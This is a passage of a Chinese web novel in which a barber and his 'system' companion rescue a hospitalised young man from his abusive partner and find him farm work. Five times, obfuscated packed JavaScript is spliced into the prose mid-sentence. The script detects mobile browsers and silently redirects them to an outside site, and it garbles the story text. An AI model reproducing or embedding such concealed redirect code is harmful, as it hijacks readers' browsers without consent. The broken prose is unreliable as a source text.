萧岛赶紧按下自己宿主大开的脑洞,[你不要在这里瞎指挥,万一真的主脑接受了你的意见,你确定我们两个不会先被发配过去吗?]他们这些相关对话可都是在监控中!不要害他。 [你看看你,还真紧张了,我就是开个玩笑,不要那么认真嘛。]甄信打个哈哈把这事糊弄过去。 这次是帮忙把他送进医院救治,下次呢?难道他每次都得充当救火队员。总不能靠着别人的力量活一辈子吧。 甄信虽然没恋爱过,但也知道,这绝对不是正常的恋爱关系。一般人都应该是互相帮助,互相关心爱护,但是他们呢,拼命地去伤害对方。而肖溪竟然还离不开这个伤害他的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299562|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是那所谓的斯德哥尔摩吧,不理解但他得硬着头皮上。 干完这票大的,甄信是真的结结实实待在店里头苦练自己理发技术。总算从狗啃进化成勉强看得过去。在这里必须要感谢无私奉献自己脑袋的大爷们。甄信这个人虽然理发不怎么样,但是他便宜啊。五块一个还要什么自行车,给你剪坏了就干脆不收钱。 你要是实在气不过,那就送你两次免费洗头。就这服务态度,不过就是一点头发,哪里不能让这小年轻动了。大不了这个月潮流一把,直接给自己剃个光头,下个月这头发不就又回来了。 他在店里头老老实实剃头,萧岛真的是浑身上下都不得劲,他们难道就打算在这里坐以待毙吗?这就是甄信的工作作风? 不对啊,上一个任务他们不是很快就打开局面了吗?虽然这周过得风平浪静,但是——是不是有点太安静了。 萧岛兀自在桌上转悠着,不知怎样掩饰自己的心急如焚,[我们就这样一动不动可以吗?我们是不是应该干预一下他们的恋爱进程,我们是可以做点什么的吧。] [是可以,但我不建议。]甄信拍拍大爷脖子上的灰,相当满意自己手上这头型,你看看这寸头,看着就板正。 [但是我们得对他们的生活负责,万一在我们等待的时候,肖溪忽然发生了什么意外,我们怎么办?] 发生什么意外? [呸呸呸,你快把这些不吉利的话吐掉。要是真的出了什么事,肯定也是你这个乌鸦嘴诅咒的!] [这和我有什么关系,是你没有及时跟进肖溪那边的状况。] [他也是一个成年人了,还要我关注什么,他都住院了还能有什么问题。霍云霆总不会疯到这种时候还要去医院发疯吧。] 【警告!目标人物生命迹象持续下降!警告!目标人物……】 什么玩意儿?这事说什么来什么,他又陷入危险了?他都在这最好的医院,就算是阎王来了都能掰掰手腕,他怎么又陷入危险了,那家伙到底干什么了。 能不能对自己这条命上点心,不要总是别人给你当救火队员。 [我们真的不能制造一个现场,让这对渣攻贱受殉情算了,殉情是不是也算我们任务完成。] 这是什么危险发言。 [不行!绝对不行!如果我们这样做的话,我们俩个一艘反复体验他的死法,这种结果,绝对不是你能承受的。把这个想法马上从你脑海里扔掉!] [我就是开个玩笑而已。现在不是出发了吗?] 两个冤大头,出发营救活爹们,这日子可真是越过越有。 上次来的时候甄信就已经考察过这边住院部具体地型,他直接往身上套一件外卖小哥衣服,无比丝滑地进入住院部电梯。找肖溪到底在哪儿还是挺容易的——越靠近那警报声就越响,还能当个雷达使。 18. 负负锁死(7) 循着声音找去,甄信步步靠近正确的病房。还没看到他就听到一声暴呵,“你不准死!肖溪,你听见了吗?我不准你死,你给我活过来!” 甄信下意识看了一眼自己系统上的提示,这不是还有10%的生命值吗?那家伙在这大喊大叫什么。正事一点不干,裹乱倒实打实第一名。那么大一个都把进去抢救的医生护士给挡住了。这家伙儿换个地方只有一个名字——搅屎棍。 话说,现在场景这么混乱,他趁乱给这家伙两棍子行不行。实在是太可气了,每次都在他努力逆转之后把事情搞到这种难堪的局面。别人都肋骨断了两根,伤筋动骨一百天,他还以为在肖溪好利索之前都能暂时休息一下。甄信连自己旅行计划都做好了,没想到,全被这家伙毁了。 这家伙能不能自己去死一死,不要拉着别人共沉沦。甄信改变主意了,这家伙不配殉情,就应该在极端的绝望中孤独终老啊。简直就是个孙子。 门口医生直接推开霍云霆强行冲进去,直接上了电击。不是,都这么危险,他还在门口拦着? 后头马上有别的医生过来和他解释抢救具体内容,问他具体意见。“这位先生,你是家属吗?你是家属的请过来签一下字,这位病人相当危险,需要你签字我们才能做手术。” “肖溪都是骗我的,他不会有事的,他年纪轻轻怎么会身体出问题呢?他到现在这时候还在吓我。”霍云霆喃喃自语,人仿佛被彻底抽空,连灵魂也不知道在何处停泊。 不是,他就水灵灵地站这,不签字? 玩呢?那他站在这干什么,多一个人搁这罚站?是真闲得慌啊。抢救这时候弄这事,不是傻X就是坏。甄信实在是忍不了,[不是,这家伙就在这站着?他是不是玩恋爱游戏把脑子都给玩坏了?让我上去给他一锤子。] 啊,什么? 萧岛急忙拽着他,[别别别,老板,没必要,没必要,实在犯不着。] 虽然这家伙实在气人,但他们还是得幸福工作下去的,总不至于为了一个人渣断送自己美好人生吧。 甄信其实也就那么一说。抱怨完了他开始搜索——话说,肖溪现在这情况到底算什么,有家属,还是没家属的? 有家属的话,霍云霆和他有什么实质性关系吗?没有啊。他们只是住在同一个屋檐下而已。若说没关系,也算是认识?那他不也认识吗? 想到这,甄信一个健步冲出去,直接拦在霍云霆和医生中间,“医生,是肖溪出事了吗?我刚刚问过他要不要过来看看,他还说自己什么都好,就快出院了,怎么一下子就这样了?医生,要签字吗?我可以帮忙签的,没关系,我们有钱,花多少我们都治。” 猝不及防下,霍云霆竟然真的被推了出去。 即使在这种紧要关头,他第一念头还是质问,“你是谁?和肖溪怎么认识的?这家伙不是应该没朋友吗?你又是从哪儿冒出来的?” 不是,大哥,这人都在里头抢救了,你想的还是这些有的没的?做个人吧。 难道因为你和他之间有感情,他就得无条件为你付出,你没事吧。虽然说脑残天天有,但是那么脑残的他还是头一回见,简直就是社会回收都觉得浪费的垃圾啊。 天大地下,这世界也不一定能再碰上。甄信脖子一梗,直接勇敢冲锋。“医生,你别听这家伙的,我和肖溪认识也有好几年了,从来没见过这家伙,他们两个之间最多也就是普通认识的人而已,他可不是家属。认识的时间指不定还没我长呢,别听他在这里瞎掰,要是真和肖溪关系好,会连手术同意书都不乐意签字?不就是怕花钱,这花的又不是你的钱,肖溪醒了他自己会把钱还给你的。” 甄信往旁边一挤,硬生生把霍云霆挤到了一边,上下眼白一翻,实打实地鄙夷,“和他沟通没结果的,不如找我,现在就签字,无论什么手术我们都做,上什么药你们医院定,我这边全力配合,只要对肖溪好就成。” 既然你不做人,后头当然有想做人的在这顶着,你不愿意上,有的时候愿意的人会帮忙来照顾他。就肖溪这条件,这手艺,随便换个地方月入过万轻轻松松,还得在这跪着伺候人,别人还不乐意。 果然就是总有人偏爱从垃圾桶里捡东西。 霍云霆在原地愣了两秒,没关系——他和肖溪怎么会没关系。这些年,他吃家里的,用家里的,就算是身上掉下根毛也是托了霍家的福,转眼就要和霍家一刀两断? 一股强烈的不甘不知道从哪儿冲了上来,直冲地他头脑发热,一句话脱口而出,“我才是和肖溪有关系的人,这字还轮不到你签!”他强行把笔抢了回来,捏着这支笔好像捏住了他和肖溪之间无比脆弱的联系。 对面那陌生男人上上下下仔细打量他,几乎是从鼻孔里喷出一声嗤笑,“他签?再等他犹豫下去,肖溪都要没命了,他就是在故意拖延时间。喂,你既然不在意肖溪为什么不能放开他,偏偏要在这里当个搅屎棍,要不是你,肖溪绝对会活得开心很多!” “我签,现在签!”霍云霆没再犹豫,拿着笔刷刷地在上面签下自己名字。 那龙飞凤舞的几个字倒还真像他的主人,不知天高地厚。不过,这样的结局大概是他想要的吧,喜欢的人给自己签下手术同意书。 医生也看不清楚这里到底发生什么,拿到签字迅速跑到手术室手术。患者的情况刻不容缓。不管外头这些关系人心里到底是怎么想的,只要愿意签字,他们和医院之间的事情就了结了。以后就算出了问题也没道理找上医院索赔。 只是那家伙倒是很快回过味来,一把拽住甄信不松手,“说,你和肖溪到底什么关系!”难道肖溪这个贱人两面开花,骑驴找马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299563|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想要红杏出墙,他就知道,这家伙绝对是个贱人,那时候他们家里就不应该收养他。 “你不会喜欢肖溪那家伙吧。你知道吗?那家伙完全就是一个贱·货,只要你给他一个笑脸,他就会对着你摇尾乞怜,你喜欢那么贱的东西吗?要是你乐意,完全可以去别的地方捡一个更好的回来……” 啪——响亮的巴掌回荡在医院走廊。 活了那么久,他从来没想过自己竟然会被一个平时一直看不起的人掌掴,一时只能抱着自己脸发呆。 [不是吧,老板,你竟然揍他了,那么爽快地抽了他一巴掌?] [稍微有点打偏了,用手掌根力气会更大。还是业务不熟练,以后连连就好了。] 甄信甩甩手,脸上露出一个灿烂笑容,“抱歉抱歉,刚刚我好像听到了什么很恶心的话,一时没忍住冲动了。看你这么有钱,应该不会因为这点事情讹人吧。哦,不对,你就是肖溪遇到的那个垃圾吧,只享受着别人的付出却不给钱的家伙?这年头找个高材生助理这价钱可不便宜,你不要得了便宜还卖乖。这行为多少有点不要脸。” “不要脸的是他,要不是他死皮赖脸……”霍云霆气急败坏,不断从口中吐出更多伤人的言语。 “既然不喜欢他那就和他一刀两断。你不喜欢他还和他做这种事,是整个人只剩下一个棍子,还是说,你就是觉得他免费,喜欢免费的?”甄信看着他的眼神相当意味深长,“还以为你挺有钱的,没想到整天净想着占便宜。啧……越有钱的人越扣。” “你……”霍云霆被气了个倒仰,双手紧紧抓住胸口几乎喘不过气来。 不是吧,就这样弱鸡一个?说两句话就受不了了?有没有搞错。 甄信连连往后退了好几步,急忙撇清关系,“是你自己气的,和我没关系,别讹到我头上。”他往后一撤,嗖一下就逃走了。 这种时候当然是走为上策,留在这里等那死人头缓过劲来找他麻烦吗? 这渣攻平时虐肖溪的时候看着挺有劲,怎么一气就不行了?果然还是平时那种运动做多身体不行了?所以说,古人云,保养身体非常重要,年纪轻轻就只知道放纵肯定是不行的,年纪大了苦头只有自己吃。 你看看,这后果不就来了嘛。这人见风就倒,一点用都没有。 肖溪觉得自己或许一个人在黑暗中独自行走了很久,久到他甚至不知道自己魂魄到底飘到了何方,他可能还留在人世,或许已经随着人间离去。这些都已经不重要。 只是当他再次睁开眼,面前是一张……有点熟悉的脸?“甄老板,怎么是你?”即使不是云霆在等着他,怎么也不可能是甄老板啊,他怎么知道自己身体出问题了? 不不不,这一切都不对劲,他怎么知道自己到底在哪个病房,自己进医院的事,他谁也没说。 19. 负负锁死(8) 肖溪心里满是疑问,可他又不愿用这种态度猜测,毕竟——甄老板拯救了自己,可能不止一次,他怎么能用这样的态度来怀疑他呢。 肖溪啊肖溪,你是不是苦日子过多了,甚至连身边的人到底怎样都看不清了,别人真心帮助你,你却满脑子只剩下怀疑,你到底是怎么了。 难道是进了医院一趟,连自己脑子都弄坏了吗? 想到这,肖溪又硬生生挤出一个笑容来,“甄老板,真是不好意思,每次你看到我,我都是这副鬼样子。我都不知道应该怎么说才好。” “那你就别把自己弄进医院。”甄信拎给他一个饭盒,一层层打开,第一层是他自己煎的鸡蛋饼,第二层是小包子,最下面是熬到米粒化开的白粥,“医生说你这两天都得吃清淡点,所以这些我都没放多少盐,咸菜也没给你拿,凑合吃两点,我们逐步换成好的。外卖也不大好吃,我给你送两天饭吧,反正我自己也要吃的。” 肖溪握着勺子,舀一勺白粥含在嘴里。明明是哪里都有的白粥,却那么甜,甜得他好像哭。眼泪控制不住地落下,肖溪几乎哭到话都说不出来,只能一勺又一勺地往嘴里塞着粥。 我滴个乖乖,他这是犯什么病了? 喝个粥都痛哭流涕,那么缺爱的吗?甄信僵在原地,脑子里拼命想着词汇,那时候老甄是怎么教他来着的了?甄信想了半天总算想到了那时候的话术,他轻轻拍拍肖溪脑袋,“没事的,就是一碗粥而已,要不要尝尝我摊的鸡蛋饼?应该已经出师了,要是吃不完我会很丢人的。” 甄信也不管肖溪到底哭成什么样,自顾自念叨着,“现在才四五月,新鲜莲子还没上市,给你放点百合又觉得有点太凉了。早上出去时候没看到老人家自己种的青菜就没放,不然高低给你弄点青菜肉丝粥,要不明天吃鸡丝香菇的吧,那个味道也不错。现在香菜有点贵,没问医生不知道能不能给你吃。” 在他的言语中,肖溪也渐渐冷静下来,手忙脚乱地擦着自己眼角的泪水。“甄老板,对不起,真的对不住。我本来以为我能崩住的,没想到麻烦你那么多。” 本来他们就是素昧平生的陌生人而已。 真正认识他的人并不在意他心里到底是怎么想的,反而是一个陌生人过来照顾自己。这时候,云霆又在哪儿呢,他就算过来看看自己也好啊。 想到他,肖溪鼻子一酸,又忍不住自己泛滥的悲伤,好像从遇见霍云霆开始,他总是把自己陷入这样尴尬的境地。这副模样的自己,肖溪也很不喜欢,好像他都失去自己的灵魂,单纯只是别人的依附者而已。 可事情本来不应该是这样的。 肖溪捧着这早餐,好半天才挤出一句话来,“甄老板,我已经好久没有吃到别人亲手做的早餐了。”不,应该是他从来没有得到这种待遇过,这种被人放在心尖上的感觉。 “亲手做的?这外头早餐店不都是亲手做的吗?哪个摊子用的预制品,我现在就去砸了它。”甄信两句就打消了他的伤春悲秋,他一直觉得这小朋友挺奇怪的,一开始地狱开局那就积极阳光点,一点小事就陷入悲观,这日子以后不过了吗?现在的年轻人,啧啧啧……真的不行。 肖溪也有自己理由,“我帮别人做过很多次早餐,也看过别人怎么关心别人,可我只是想要别人那么关心我,却好像是一种奢望。” “那你给自己做呗。怎么,对自己好这件事还有上限了?”甄信是真搞不懂这里面逻辑,怎么了,钱多烧得慌,非得把钱花在别人头上?用自己身上不香吗?想吃什么吃什么。 “自己有钱,吃个面条都能加俩澳龙,吃啥都不如给自己来得好,要是你想要给男人花钱,只会变得不幸,就应该把所有钱统统都花在自己身上。自己想清楚,日子过得快活就行。”甄信边说边挑出了自己记的小账本,“你看啊,小肖,不是当哥的坑你,这上头给你一笔一笔都记得清清楚楚,你现在欠我两万,是要分期付的话,你打算怎么弄,你现在是没工作的状态是吧。” 实在不行就给他打工呗,让主角受给他打工,要是那疯子振臂一呼,直接冲进来把他店再砸一遍,他这KPI又完成一遍,直接半年不用开张了。 堂堂正正打工哪里有赔偿来得快,实在不是他这个人容易被动摇,实在是财帛动人心。 他有的时候想要稍微动一下歪脑筋,这也是人之常情是不。肖溪仔细考虑了一下,纤细的手紧紧攥着拳头,“可是,甄老板,我还要继续上学,我不能放弃学业,所以……这次的钱款能不能缓到我大学毕业之后,等我毕业,我肯定会连本带利还给您的。” 等等,他说什么,他刚上大学不久,可他不都和霍云霆纠缠好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299564|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年了吗?在这之前,甄信一直觉得他至少都二十多,达到国家法定婚龄了。 但是,现在这家伙说什么? 甄信紧急开始查信息,[小破刀,你把资料翻出来给我看看,这家伙今年到底几岁,不会吧,难道霍云霆那家伙还碰未成年?直接把这家伙送进去。] 萧岛也头一次碰到这件事,紧急向主脑求助,很快,更详细的资料被发了回来。[肖溪现在身份证上写的是二十一,今年刚刚就读大二,但他身份证上的年龄在登记时候写大了两岁,今年虚岁十九,过年时候过的十八周岁生日。] [所以,那家伙还是动了未成年,改变计划,我们把那家伙送进去。]和未成年玩这种恋爱游戏?不要考虑了,直接送走这家伙。 [等等,他们发生实质性进展事在肖溪生日之后,所以……]他卡了个bug,或许是因为肖溪想在一个特殊的日子有进展?无论如何,因为这样考虑,这家伙没有实际犯罪。 [啧。所以,他还是一个人渣。] 甄信倒是突然有一个好主意,既然肖溪只是想要赚钱,他为什么不给他找一个既有钱又能锻炼身体的兼职呢?身体是革命的本钱,他帮忙开个后门没问题的,毕竟都是自己亲戚家,这些都好说话。 他是年轻人,一点身体上的损伤只要锻炼很快都能缓过来。 “对了,小肖,你要找兼职的话,要不我给你推荐一个吧,也不远,你骑单车也能到。刚好我店里头还有空着的单车,你骑过去也就二十多分钟,时间也自由,算是我亲戚家的兼职,干完就能回家。”甄信这个提议让肖溪眼睛瞬间亮了,可他依旧退却,眼里满是对自己的怀疑。 长久被打压已经让他不知道如何面对别人的信任。 “可是,甄老板,这个活儿我真能干好吗?” “有什么做不好的,你不是干兽医的吗?算是专业对口,还能顺便提升一下自己专业实力,你肯定行的,里面的娃个个都皮糙肉厚。要是不方便回学校还能住在那儿全职,地方可大了,马上要暑假了你也没想好去哪儿吧,试试呗。” 虽然心里依旧满是怀疑,但甄老板都那么说了,肖溪忽然升起对自己一点自信,“好的,那我试试?” 紧锣密鼓的期末考试周过后,肖溪打包好行李直接进驻——快乐宝贝奶牛场。 20. 负负锁死(9) 哞—— 面前尘土飞扬,肖溪从来没见过这种场景一时愣在了原地。甄信开着车和他介绍这里的情况,“你别怕,弄辆三地自行车怎么都能骑到这边来,这里离你学校是不远对吧。到了这里就给张叔打电话,或者喊你同事,谁看见了都会顺便把你捎回去的。不要紧张,和牛打交道没有和人难。” 肖溪也不是紧张,只是震撼,他从来没试过和那么多牛面对面,这感觉,好像他之前学习的一切都照进现实,让他无所适从又无比激动。 “甄老板,这些牛真的能让我治吗?我真的很怕自己做不好怎么办?”真当机会来到他身边,肖溪又克制不住往后退。他知道自己这样很不对。 但是——他已经这样生活了那么多年,想要改变也很难改了。 甄信倒是一脸无所谓,“你看看这些小牛犊子其实都壮实得很,稍微磕碰一下根本不会坏。万一你觉得自己不行,这里也有固定合作的兽医,直接远程电话求助,不要慌,没事的。什么事自己动作做了之后就发现,这些都没什么的,之前那些想法都是自己想多了,真的。” 甄老板微微咧嘴一笑,但那笑容却给了肖溪无尽的耐心和勇气,让他有动力能够奔向属于自己的崭新生活。或许,在这里,他会发自心底觉得,自己是有用的,自己并不是可有可无的那一个。 看着这小家伙蹦蹦跳跳跑远,连地上一滩滩牛粪都没在意。甄信其实心里已经相当有把握了,就这单纯小家伙,根本没见过外界风雨,就应该过来劳动锻炼一下。只要够累,什么抑郁,什么狂躁,全都能消失不见,倒头就睡可舒服了,哪里有功夫想那么多。 等确定他连个影子都看不见,甄信这才拿出手机,拨通了一个相当熟悉的号码,“喂,张叔,我给你弄来一个小年轻,学兽医的,人看着有点瘦。工资?他们学校实习其实给的工资挺少的,你大概看着稍微给点就行,就是伙食得给他弄好点,人家高材生过来跟你住牛棚不容易,你得把这个硬件弄上去不是。怎么发?你把工资分两份呢,一份每个月一千打他卡上,另一份两千五划我这……怎么不行?他可会乱花钱了,他妈给我说了,让我一定帮忙管着钱,不然我才不费这个事呢。” [甄信!你竟然克扣肖溪工资?你是人吗?他才刚刚从医院出来。] [谢谢,我24k纯金妥妥的人,不过就是扣他一点工资怎么了,他可花了我两万医药费,我回收一点怎么了?这叫合理拆借,无论告到哪儿别人都没办法说什么。] [他……他还是个孩子啊——] [啊,对对对,成年了的脑残孩子。] 要不是这倒霉孩子是他任务对象,甄信老早一巴掌给他拍墙上,让他看看花儿到底为什么那么红。他真的受不了那种未语泪先流的人设,一个好好大男人,哭起来多埋汰啊。这哭又没用,掉两滴眼泪能够让你生活彻底发生变化?能够让你从此走上人生巅峰了? 还不如省点力气吃两顿,等着以后报复回来。 不过,他现在这样做事是痛快了。要是那位知道了怎么办,按照他的能力肯定会找上门来。 萧岛有点担心。 [我们要不要暂避锋芒?不要和人家硬抗,惹不起还躲不起了?] [走啊,怕什么,我们就是帮忙搭一程,他还能在法治社会胡作非为?真要这样直接把他送进去,那他就是坐过牢的家伙,坐过牢是当不了男主的,不如直接换一个吧。] 虽然但是,明明知道甄信在不负责任的瞎掰,但萧岛还是莫名地觉得他说的这话相当有道理。 [但是我们不能为了一点猜测忽略眼下的危险。] 滴滴滴——手机发出明显的提示音。 甄信打开手机查看门口情况,[小宝贝,现在可是信息化社会,人和动物最大的差别就是人会使用某些工具。你看看,这不就看着了嘛。]门口的监控自动报警,并且把门口搞破坏几人的视频发了过来。 哐当——铁棍重重地敲在店门,瞬间把大门的玻璃敲得粉碎。 哎呦呦,这脾气还挺硬,两下就把外头门口敲得粉碎。好不容易重新装修好的门头又被毁了,他这门啊,注定是要换新的命,这才几个月,上头漆还没掉呢,一下又有人给做新的。 甄信根本没想着和他们面对面对上。要是他们过来时候不巧他还在店里。那就直接自己往里面房间一躲。那出厂价都要好几千的铸铁们可不是开玩笑呢。他拿消防队大斧头都得过来劈好多下呢。 他就在里头窝着,慢悠悠打报警电话。他们在里头干的一切可全都是违法犯罪证据。为了不给自己留案底,不光得赔东西还得出点赔偿金。 这些家伙到底什么毛病,脑子都被肌肉穿孔了,遇到什么事都打算用暴力解决。是不是他们觉得法律在他们身上能够临时失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299565|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 效? 甄信总觉得他们多少缺点脑壳。 还好,他这种遵纪守法小公民一直都保存好自己的基本信息。他甚至加了他们这片民警的电话,刷一下就把监控拍到的视频发过去。嘴巴一撇,声音里就带了哭腔,“警官,怎么办啊,我的门口突然被人砸了。” 不等他说话,甄信已经自己发挥上了。“警官,我一直觉得我们这治安挺好的,没想到我刚出门,这店就被人砸了,我现在门也不敢出,生怕什么时候来过飞来横祸。警官,你说我就开个理发店,招谁惹谁了。虽然我理发技术一般,但我也不乱收费是吧。” 对面的民警明显被他这句话堵住了。 还真是,他技术一般,态度真没的说。周围大爷大妈都乐意到他那儿稍微修一修,没几个月算是打开了局面。现在这情况一对,证据都是齐全的,他们可以直接出警。 霍云霆找来的人还算聪明,看到警察来也没跑,直接在原地赔偿签字。别人都愿意翻倍赔偿,你还想怎样。真的和他们掰扯下去,没完没了不说,还不一定能拿到自己应得的钱。 这事还真就只能和稀泥过去。 甄信蹲在店里看里头具体损失,稍微还有点小失望。值钱的东西都在里面,外头全砸了也就不痛不痒,[现在对比一下,霍家输了,就是小法小闹,成不了大事。一点创造性都没有。] 这家伙还要多有创造性? 甄信的手机响了。对面的声音明显用了一点变声手段,听起来有点诡异,“甄老板,你动了不该动的人。他去哪儿了?如果你乖乖把消息告诉……” 话没说完直接被甄信打断,“什么玩意儿?你找人找我这来了?首先我这不负责找人,其次,这人要是你熟悉的,你自己打电话给他,你们俩朋友没有联系方式吗?毛病——” 说完他啪一下直接把电话挂了。 萧岛愣了一下,还没反应过来。[老板,你刚刚是把主角攻的电话挂了?] [挂了就挂了,他还能对我怎么样吗?他还能冲到店里来揍我,还是绑架我?]要是他那么蠢,那真好办了,直接快进到监狱篇,让祖国爸爸矫正他一切不良习惯,一劳永逸。 第二个电话又拨过来,“今天这事只是一个开始,从现在开始,我让你再也开不了门……” “喂……喂……听不见,又一个神经病?” “嘟嘟嘟……” 21. 负负锁死(10) 甄信毫不犹豫直接把电话挂了。现在的人真奇怪,不知道电话是可以录音的吗?就算你可以变声,你的声纹也是不会改变的。这些威胁后头都会变成证据。 萧岛倒是相当不适应这样的场景,虽然这种操作并不是不可以,但他们现在的行为会不会稍微过火了一点,他试探着劝劝自己老板,[老板,我们的目的不是让他们幸福快乐地生活在一起吗?现在这样是不是稍微有点过分了?] [过分吗?]甄信瞥了一眼放在房间里头的剪刀。[我发现一个问题,你很喜欢和那些既得利益者共情。你既然都觉得那男人渣,为什么不能接受让他们两个分手的事实呢?世界上不是只有攻觉得幸福就好就可以了。你怎么不问问肖溪愿不愿意呢?] [肖溪他看着超乐意的。] 所有人都觉得他求之不得,但只有他自己知道自己到底是怎么想的,任何人都不能帮他做决定。肖溪觉得霍云霆不错是因为他从来没见过好的。从小到大都被限制在霍家的世界里,这人的思维都被锁住了,当然别人说什么就是什么了。等他跳出原来的地方,肯定能知道天地有多广阔,世界有多奇妙。 那种感觉,不一样的。 至于现在,他只是习惯了而已。习惯了有霍云霆存在的世界,所以觉得出去也没什么大不了的,等他长眼睛跳出来,才是他真正活着的时候。 萧岛还是挺担心的,他心里头总是充满着忧虑,[可是,万一他报复我们怎么办,霍云霆挺有钱的,万一他不折手段,打算和我们彻底鱼死网破?] [他还能怎么样。违反法律吗?总不至于有人在这个法治社会搞事情吧,他是不是觉得自己家里头日子过得太舒服了?]不会吧,真的不会有人自取灭亡吧,要这样也挺好的,直接快进到重开,或者肖溪在监狱门口等待自己心爱的人回来。 这样的结局从某种意义上来说也能算是一种完美。 想到这种可能,萧岛不寒而栗。[不可以,老板,这样绝对不可以,这样我们都会被主脑惩罚的。] 虽然,甄信一直都觉得主脑不可能闲得没事干,非得和他们俩过不去,但既然萧岛那么紧张,他就装作放弃那个诱人的提议好了。萧岛还是太谨慎了,这样为什么不行呢,这叫做尊重个人命运。这是他们个人的选择,其他人无权置喙。 爱情啊,真是一个莫名其妙的东西,竟然让那么多人深陷其中。甄信是不了解,他也绝对不会让自己沦落到那种地步,有那么多事可以做,为什么非得吃吃爱情的苦呢。 不过,或许这东西正因为莫名其妙,才更加让人欲罢不能。 一切仿佛如甄信预料的一般,那个电话没有再打来,也没有奇怪的人在他门口干点什么。一旦你发现自己想要威胁的对象比你还要无赖之后,主导权瞬间变化了。 老祖宗说的话还是正确的,横的怕不要命的。只要没有弱点被拿捏着,他们就是天下无敌的存在,根本没有对手。 你看看,要是没有所谓爱情影响,一切日子都是那么美好,根本没有碍眼家伙进来捣乱。 甄信甚至想要开始卡bug。假如把每个帮助对象都和他的另一半分开,不管分开多久,那中间那段时期不就是他们休息空档期。只要时间安排得好,他们这日子可绝对美滋滋。 想法虽然好,但相当危险。 萧岛马上拦住了他,[不行,绝对不行。主脑绝对会惩罚我们的。如果我们的进度偏后,会整个系统通报批评,我会变成系统的耻辱。不行,绝对不可以。] 光是想到那个可能性都让他不寒而栗。 [换个角度想,小萧岛,我们要是一直是最后一名,哪怕只是稍微进步一点,对于所有人来说,都是我们巨大的进度。]大家总喜欢苛责前头的人,却对弱后的人相当宽容。 你说这算不算人类的劣根性? [快住嘴,老板,主脑会监控我们之间的对话。]他真是服了这个老板了,每天都有新的故事产生,他的脑子到底是怎么做的,每天都是创新。 [啊,这个也不行吗?你们主脑还真是……]多管闲事。甄信抬起手,示意自己不再说了。 为什么现在连主脑都那么敏感,他们到底是哪里出了毛病,好好过日子不舒服吗?要他说,有些人得不到真正的爱情是理所应当。就这样糊弄过去不行吗? 甄信躺在店里,晒着午后阳光,漫无目的地想到了这些。各种各样的故事,路边上演的悲欢离合,每个看着都如此有意思,却又和自己无关。 就在这时,路边忽然冲出一个胡子拉碴的男人,他仿佛被生活蹂躏过,眼底留下深深的眼圈。可怜的喂,又是哪个不如意的男人。但这个男人踉踉跄跄直接朝店里走来。 该死,不会是找他的吧。甄信哪里见过这种人物,他迅速从躺椅上翻下来,一头冲进里头房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299566|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间。 不管那家伙到底是为了什么过来的,他惹不起还躲不起吗?三十六计走为上。 可那家伙冲到门口就停住了。在门口淌下泪水,“求求你,你能不能告诉我肖溪在哪里,我生命每一秒都不能少了他。只有离开他,我才知道这个世界已经没有了任何色彩。路边我看到的所有风景都是他。所以,能不能把他还给我,求求你……” 面前这家伙是霍云霆?这家伙转性了?怎么看都不像是这种人,甄信心里的霍云霆应该更加……怎么说呢,更加有一种渣男的气质。面前的这家伙看着太文质彬彬了一点。 不过,甄信还是下意识截了一段监控发给了肖溪,“喂,小肖,店里来了一个人,哭着喊你的名字,你认识他吗?要不要我直接把他赶出去。” 